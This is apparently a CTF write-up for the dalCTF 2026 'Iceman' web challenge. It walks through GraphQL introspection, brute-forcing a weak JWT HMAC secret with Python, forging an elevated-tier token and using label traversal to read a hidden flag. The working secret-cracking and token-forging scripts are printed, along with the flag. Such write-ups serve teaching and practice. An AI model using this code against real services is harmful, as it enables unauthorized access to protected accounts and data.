Skip to main content

Command Palette

Search for a command to run...

Iceman - dalCTF 2026

Updated
•4 min read•View as Markdown
Iceman - dalCTF 2026
Y
I write detailed writeups on HackTheBox, PicoCTF and other CTF challenges. Passionate about web exploitation, Active Directory attacks and ethical hacking

Flag: dalctf2026{open-ticket-send-me-ur-fav-song-in-album6}
Category: Web / GraphQL / JWT


Overview

A music-themed GraphQL API protected by JWT-based tier access control. The goal was to escalate from a fan tier account to OVO membership in order to read the vaultManifest field on an unreleased album.


Step 1 — GraphQL Introspection

With introspection enabled on the target, the full schema was enumerated:

{ __schema { types { name fields { name } } } }

Discovered types: Query, Mutation, AuthPayload, User, Label, Artist, Album, Track

Key queries:

Query Notes
me Returns current user's username and tier
releasedAlbums Auth required
album(id) Auth required
label(name) Traverses label → artists → albums

Key mutations: register(username, password), login(username, password)


Step 2 — Account Registration & JWT Analysis

Registering a test account:

mutation {
  register(username: "test", password: "test") {
    token
  }
}

Returned JWT:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QiLCJ0aWVyIjoiZmFuIn0.yICh79kEgP-iQoH8O6cGIoxyjgkGibVeZK8qxlg5lWs

Decoded payload:

{ "username": "test", "tier": "fan" }

Querying protected endpoints with this token returned:

"OVO membership required. Fan accounts do not have vault access."

This confirmed tier-based access control — tier: "OVO" was needed.


Step 3 — Attack Surface Assessment

alg:none bypass — attempted with multiple tier values (OVO, admin, premium). All rejected with "Authentication required." — the server enforces signature verification.

Register with tier argument — rejected:

Unknown argument 'tier' on field 'Mutation.register'

The only viable path: crack the HMAC secret and forge a valid signed token.


Step 4 — JWT Secret Cracking

Using Python's hmac + hashlib to test a CTF-themed wordlist against the original token's signature:

import hmac, hashlib, base64

token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QiLCJ0aWVyIjoiZmFuIn0.yICh79kEgP-iQoH8O6cGIoxyjgkGibVeZK8qxlg5lWs"
header_payload = ".".join(token.split(".")[:2])
orig_sig = token.split(".")[2]

def b64url_decode(s):
    s += "=" * (-len(s) % 4)
    return base64.urlsafe_b64decode(s)

orig_sig_bytes = b64url_decode(orig_sig)

wordlist = ["OVO", "ovo", "secret", ..., "dalctf", "iceman", ...]

for word in wordlist:
    sig = hmac.new(word.encode(), header_payload.encode(), hashlib.sha256).digest()
    computed = base64.urlsafe_b64encode(sig).rstrip(b'=').decode()
    if computed == orig_sig:
        print(f"[+] SECRET FOUND: {word}")
        break

Result:

[+] SECRET FOUND: iceman

The challenge name itself (iceman) was the JWT signing secret.


Step 5 — Forging an OVO-Tier Token

import hmac, hashlib, base64, json

SECRET = "iceman"

def b64url(data):
    return base64.urlsafe_b64encode(
        json.dumps(data, separators=(',',':')).encode()
    ).rstrip(b'=').decode()

header  = b64url({"alg":"HS256","typ":"JWT"})
payload = b64url({"username":"test","tier":"OVO"})
sig = hmac.new(SECRET.encode(), f"{header}.{payload}".encode(), hashlib.sha256).digest()
token = f"{header}.{payload}.{base64.urlsafe_b64encode(sig).rstrip(b'=').decode()}"
print(token)

Forged token:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QiLCJ0aWVyIjoiT1ZPIn0.k3GYap8NGpMaEsiaG36u85UuHUux5hJVXD5IxckrOjk

Verified with me query:

{ "me": { "username": "test", "tier": "OVO" } }

Step 6 — Accessing the Vault via Label Traversal

releasedAlbums only returned IDs 1 and 2, both with vaultManifest: null. Brute-forcing album IDs 0–20 directly also yielded nothing.

The key was traversing via the label relationship, which exposed unreleased albums not returned by releasedAlbums:

{
  label(name: "OVO") {
    name
    artists {
      name
      albums {
        id
        title
        status
        vaultManifest
      }
    }
  }
}

Response:

{
  "label": {
    "name": "OVO",
    "artists": [{
      "name": "Drake",
      "albums": [
        { "id": "1", "status": "RELEASED",   "title": "For All the Dogs",    "vaultManifest": null },
        { "id": "2", "status": "RELEASED",   "title": "Some Sexy Songs 4 U", "vaultManifest": null },
        { "id": "9", "status": "UNRELEASED", "title": "ICEMAN",              "vaultManifest": "dalctf2026{open-ticket-send-me-ur-fav-song-in-album6}" }
      ]
    }]
  }
}

Flag

dalctf2026{open-ticket-send-me-ur-fav-song-in-album6}

Attack Chain Summary

Introspection → Enumerate schema
      ↓
Register → Get fan-tier JWT
      ↓
Identify tier-based access control
      ↓
alg:none rejected → must crack HMAC secret
      ↓
Crack secret: "iceman"
      ↓
Forge valid JWT with tier="OVO"
      ↓
label(name:"OVO") traversal → exposes UNRELEASED album id=9
      ↓
vaultManifest → FLAG

Key Takeaways

  • GraphQL introspection in production leaks the entire schema including sensitive field names like vaultManifest.

  • Weak JWT secrets (especially ones matching the challenge/app name) are trivially crackable with a small wordlist.

  • Authorization logic gaps — the label → artists → albums traversal bypassed the access controls on releasedAlbums and album(id), exposing unreleased content.

  • IDOR via graph traversal — album ID 9 was invisible to direct queries but reachable through the label relationship.

dalctf

Part 2 of 4

My writeups from dalCTF 2026 — covering Web, GeoOSINT, OSINT, Misc, and Rev challenges. Solved: Web (heart), GeoOSINT, Misc, and a Rev challenge.

Up next

Weird Movements - dalCTF

Category: Forensics Flag: dalctf{h3h3_i_s2_p41nt} Overview We're given a packet capture. The capture turns out to be a Linux USB HID (mouse) trace — the user held left-click and physically drew the